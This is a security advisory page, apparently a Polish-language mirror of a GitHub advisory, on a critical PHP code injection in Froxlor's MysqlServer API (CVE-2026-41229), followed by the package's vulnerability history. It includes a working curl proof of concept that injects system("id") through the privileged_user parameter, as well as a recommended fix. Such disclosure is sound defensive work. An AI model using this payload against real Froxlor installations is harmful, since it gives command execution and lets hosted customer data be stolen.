Krytyczna

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

  • Ujawniono: 16.04.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

php
// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
    if (!is_array($value)) {
        if (is_bool($value)) {
            $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
        } elseif (is_int($value)) {
            $str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
        } else {
            if ($key == 'password') {
                // special case for passwords (nowdoc)
                $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
            } else {
                // VULNERABLE: $value interpolated without escaping single quotes
                $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
            }
        }
    }
}

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

  1. validateAccess() (line 82) checks the caller is an admin with change_serversettings
  2. privileged_user is read via getParam() at line 88 with no validation applied
  3. mysql_ca is also read with no validation at line 86
  4. The values are placed into the $sql_root array at lines 150-160
  5. generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString()
  6. The result is written to lib/userdata.inc.php via file_put_contents() (line 548)
  7. Setting test_connection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

php
require Froxlor::getInstallDir() . "/lib/userdata.inc.php";

The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

bash
curl -s -X POST https://froxlor.example/api.php \
  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "MysqlServer.add",
    "params": {
      "mysql_host": "127.0.0.1",
      "mysql_port": 3306,
      "privileged_user": "x'\''.system(\"id\").'\''",
      "privileged_password": "anything",
      "description": "test",
      "test_connection": 0
    }
  }'

This writes the following into lib/userdata.inc.php:

php
'user' => 'x'.system("id").'',

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

bash
curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

Impact

An admin with change_serversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:

  • Full server compromise: Execute arbitrary commands as the web server user (typically www-data)
  • Data exfiltration: Read all hosted customer data, databases credentials, TLS private keys
  • Lateral movement: Access all MySQL databases using credentials stored in userdata.inc.php
  • Persistent backdoor: The injected code executes on every request, providing persistent access
  • Denial of service: Malformed PHP in userdata.inc.php can break the entire panel

The description field (validated with REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/) and mysql_ca field (no validation) are also injectable vectors through the same code path.

Recommended Fix

Escape single quotes in PhpHelper::parseArrayToString() before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only \' and \\ are interpreted, so both must be escaped:

php
// lib/Froxlor/PhpHelper.php:486
// Before (vulnerable):
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");

// After (fixed) - escape backslashes first, then single quotes:
$escaped = str_replace(['\\', "'"], ['\\\\', "\\'"], $value);
$str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n");

Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:

php
// Apply nowdoc to all string values, not just passwords:
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");

Additionally, consider adding input validation to privileged_user and mysql_ca in MysqlServer::add() and MysqlServer::update() as defense-in-depth.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer froxlor/froxlor < 2.3.6 2.3.6

Odnośniki

Ocena CVSS 9.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-94
Platforma
Composer
Paczka
froxlor/froxlor
Ujawniono
16.04.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-gc9w-cc93-rjv8 - CC BY 4.0

Historia podatności: froxlor/froxlor

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (60) w archiwum
Wszystkich wpisów
60
Pierwsza → ostatnia
04.2022 08.2026
Bez poprawki
3
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 12
  • Wysoka 21
  • Średnia 26
  • Niska 1

Ujawnienia w latach

  1. 2022: 15
  2. 2023: 20
  3. 2024: 3
  4. 2025: 2
  5. 2026: 20
Istotność:
  1. Krytyczna · 9.0 CVE-2026-62988 < 2.3.8 2.3.8
  2. Wysoka · 8.1 CVE-2026-52793 < 2.3.7 2.3.7
  3. Wysoka · 7.6 CVE-2026-41234 < 2.3.7 2.3.7
  4. Wysoka CVE-2026-41237 < 2.3.7 2.3.7
  5. Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API) ten wpis
    Krytyczna · 9.1 CVE-2026-41229 < 2.3.6 2.3.6
  6. Krytyczna · 9.6 CVE-2024-34070 < 2.1.9 2.1.9
  7. Wysoka · 7.5 CVE-2023-50256 < 2.1.2 2.1.2
  8. Krytyczna · 9.9 CVE-2023-6069 < 2.1.0-beta1 2.1.0-beta1
  9. Krytyczna · 9.1 CVE-2023-3668 < 2.0.21 2.0.21
  10. Wysoka · 7.2 CVE-2023-3172 < 2.0.20 2.0.20
  11. Krytyczna · 9.8 CVE-2023-1307 < 2.0.13 2.0.13
  12. Wysoka · 8.8 CVE-2023-1033 < 2.0.11 2.0.11
  13. Wysoka · 8.8 CVE-2023-0877 < 2.0.11 2.0.11
  14. Wysoka · 7.5 CVE-2023-0564 < 2.0.10 2.0.10
  15. Wysoka · 8.8 CVE-2023-0315 < 2.0.8 2.0.8
  16. Krytyczna · 9.8 CVE-2021-42325 < 0.10.30 0.10.30
  17. Wysoka · 8.8 CVE-2020-10235 < 0.10.14 0.10.14
  18. Krytyczna · 9.8 CVE-2016-5100 < 0.9.35 0.9.35
  19. Wysoka · 7.5 CVE-2018-12642 < 0.9.40 0.9.40
  20. Wysoka · 7.2 CVE-2018-1000527 < 0.9.40 0.9.40

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.